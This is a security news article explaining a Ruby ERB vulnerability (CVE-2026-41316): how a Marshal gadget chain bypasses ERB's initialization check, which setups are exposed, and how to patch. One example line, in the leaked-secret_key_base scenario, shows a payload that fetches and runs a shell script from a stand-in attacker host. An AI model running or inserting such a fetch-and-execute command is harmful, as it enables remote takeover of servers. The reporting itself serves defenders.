Critical vulnerability in Ruby's standard library ERB:attackers can execute code
The Ruby vulnerability is not easy to exploit, but allows an attacker to read sensitive data, start code, and install backdoors.
(Image: fotogru/Shutterstock.com)
- Stefan Wintermeyer
The vulnerability in Ruby's standard template library ERB, registered under CVE-2026-41316 (CERT-Bund: WID-SEC-2026-1187), bypasses the built-in protection against malicious deserialization. Rails applications that process data from Marshal serialization from insecure sources are particularly affected. Possible consequence: Remote Code Execution.
The Ruby team published the security vulnerability on April 21, 2026, and simultaneously provided a fix. The error bypasses a protection mechanism against malicious deserialization built into ERB. Via a so-called gadget chain, attackers can exploit the vulnerability for Remote Code Execution (RCE) on the server. The vulnerability was discovered and reported by TristanInSec.
GitHub assigns the vulnerability a CVSS 3.1 score of 8.1 (High), CERT-Bund classifies it as critical. The difference reflects the respective evaluation logic: CVSS considers the aggravating complexity for exploitation (metric AC:H) because the vulnerability requires additional prerequisites on the application side. CERT-Bund focuses more on the potential damage in case of success, i.e., the possible RCE effect.
The GitHub Security Advisory contains, in addition to the technical description, a working proof-of-concept that demonstrates exploitation with a few lines of Ruby code.
What is affected?
All versions of the erb gem up to and including 6.0.3 are vulnerable. This means that practically every current Rails installation ships with a vulnerable ERB version. However, an application is only actually attackable if both of the following conditions are met:
- The application calls data via
Marshal.loadat some point, which an attacker can control. - ActiveSupport is loaded at runtime in addition to ERB, which is automatically the case for every Rails application.
Videos by heise
Typical places where Marshal.load is used in a Ruby or Rails application include Rails.cache with the default serializer Marshal, job queues with Marshal payloads (older Sidekiq or Resque setups), import endpoints for Marshal dumps, and Marshal-encoded session cookies of older Rails versions. However, a concrete risk arises at these points only if data actually controllable by the attacker can arrive there, for example, with an openly accessible cache, a leaked secret_key_base, or an unprotected import endpoint.
A successful attack grants the perpetrator complete code execution in the context of the Ruby process. Typical scenarios range from reading sensitive data, placing backdoors, to complete takeover of the application and lateral movement into the internal network.
Check Marshal Dependencies
If you do not actively use Marshaling yourself, you can limit yourself to point 1: update the gem, done. Point 2 is for developers who consciously use Marshal or suspect it in a dependency.
- Update Gem:
bundle update erb. Patched versions are 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4. The update closes the vulnerability regardless of the Ruby version used. - Check Marshal Points: Identify all calls to
Marshal.loadin your code and in dependencies. At each point where the read data could originate from an untrusted source, this path must be interrupted, for example, by strict origin validation or by switching to a structurally secure format at exactly this interface.
Background: What are ERB and Marshal?
ERB stands for “Embedded Ruby” and is Ruby's standard template engine. The library allows embedding Ruby code directly into text files, similar to PHP in HTML. Ruby replaces placeholders of the form <%= user.name %> with actual values during rendering, while <% ... %> executes Ruby code without output. Ruby on Rails uses ERB to generate its HTML views, but also YAML configurations. Emails or generated scripts are based on ERB in many Ruby projects.
Because templates execute code, ERB has always been considered a security-critical code area: whoever controls the template source controls the server.
Marshal is Ruby's built-in binary format for object serialization. This is needed wherever a Ruby object needs to leave its process: to be written to a cache or file, passed to another worker in a job queue, or preserved across a process restart. In memory, an object is a data structure with references that does not exist outside the process; as a byte sequence, it becomes a portable blob that the other side can convert back into the original object. Marshal.dump(obj) creates this byte sequence, Marshal.load(bytes) reconstructs the object from it. The concept is equivalent to pickle in Python, serialize/unserialize in PHP, or ObjectInputStream in Java.
In Ruby and Rails projects, Marshal primarily appears in the background: as the default serializer for Rails cache (Rails.cache), in background job queues, in session cookies of older Rails versions, or in inter-process communication. When reconstructing, Marshal can instantiate arbitrary classes and trigger their callbacks. Therefore, the rule of thumb for years has been: Marshal.load never on data originating from untrusted sources.
The class of attacks that misuse this reconstruction for Remote Code Execution is called Gadget Chain. In the Ruby ecosystem, such gadget chains have been documented for about a decade; CVE-2026-41316 is considered the sixth generation of functional Marshal gadgets according to the GitHub advisory.
The actual bug: A forgotten check
ERB actually intended to block this exact attack path. The constructor stores an internal flag named @_init in the object, which points to a very special marker object, the so-called singleton class of the ERB class. Before evaluating a template, ERB checks via identity comparison whether @_init points exactly to this marker object. If it matches, evaluation proceeds. If it doesn't match, an exception is thrown with the message “not initialized”.
The trick is that Marshal cannot serialize this marker object. Marshal identifies class references by their constant name when saving and looks them up again by that name when loading. Singleton classes are anonymous, have no name, and exist only at runtime. An attempt to dump a fresh ERB object even fails explicitly with TypeError: singleton can't be dumped. For an attacker, this means: they cannot provide the value that the check expects in a self-built Marshal blob. Their reconstructed object fails the comparison and is not allowed to trigger template evaluation. So far, so good.
The problem: Three methods do not check @_init. def_method, def_module, and def_class directly access the template source and execute it without consulting the guard. def_module is particularly explosive because it can be called without arguments and is therefore suitable as the last link in a gadget chain. The originally elegantly constructed protection idea is completely bypassed in three forgotten places.
This vulnerability does not make an application vulnerable on its own. It only becomes exploitable if something has already gone wrong elsewhere. The prerequisite is always that the application applies Marshal.load to bytes that an attacker controls at some point. This cannot be triggered via a normal web form alone, as Rails does not parse form inputs via Marshal. The attacker needs one of the following door openers in addition.
Door opener 1: Leaked secret_key_base and Marshal session cookies
The historically most common way to achieve Marshal RCE in Rails: The application's secret_key_base is already compromised, for example, through an accidentally public Git repository, an unprotected backup dump, or an error page with environment variables. Whoever possesses this key can sign valid session cookies themselves.
If an older Rails installation also has cookie-based sessions configured with Marshal serialization, the attacker creates a prepared cookie that triggers a gadget chain upon deserialization and ultimately calls def_module on an ERB object. Its template source contains the attacker's Ruby code, e.g., system("curl attacker.tld/shell.sh | sh"). The result: Remote Code Execution via a normal HTTP request, without access to internal systems.
This path primarily affects older installations. For newly created applications from version 4.1 (2014) onwards, Rails defaults to JSON instead of Marshal for cookie sessions; applications created before 4.1 had to be explicitly migrated for this change. If you are not explicitly pinned to :marshal, you are not vulnerable here.
A leaked secret_key_base is already a critical security incident in itself. It allows forging sessions and decrypting sensitive cookie contents even without this CVE. In this scenario, the ERB vulnerability is not the cause of the damage, but the amplifier that directly turns the secret leak into a server takeover.
Door opener 2: Import endpoints for Marshal dumps
Some applications accept Marshal dumps as file uploads, for example, to import configurations or restore states. If such an upload lands in Marshal.load without validation, the attacker provides their payload directly.
Regardless of this CVE, such an endpoint is a fundamentally bad design decision. Ruby's own documentation has explicitly warned for years against applying Marshal.load to data from untrusted sources. In any real Rails application, numerous Marshal gadget chains exist, of which CVE-2026-41316 is only one among many. Anyone accepting a Marshal upload was already vulnerable to RCE before this vulnerability and remains so afterward as long as the endpoint exists. An ERB update closes a single gadget, not the class. The only clean solution is not to patch, but to remove the Marshal path and switch to a format with schema validation, such as JSON.
Door opener 3: Write access to cache or job queue
Anyone gaining write access to Redis, Memcached, or a Marshal-using job queue can store prepared blobs that lead to RCE upon the next read via Marshal.load (cache poisoning). However, write access presupposes that the cache server is openly accessible on the network, shared with another compromised service, or otherwise already accessible. In practice, this is more of a post-exploitation than an entry scenario.
Conclusion: Avoid misconfigurations
Anyone practicing clean basic hygiene (not leaking secrets, not accepting Marshal uploads, securing caches and queues) has no exploitable entry point solely due to this CVE. The bug is an amplifier for existing misconfigurations and leaked secrets, not an independent remote access method. However, patching should be done promptly, as the bug increases the damage potential of almost any conceivable precursor.
(who)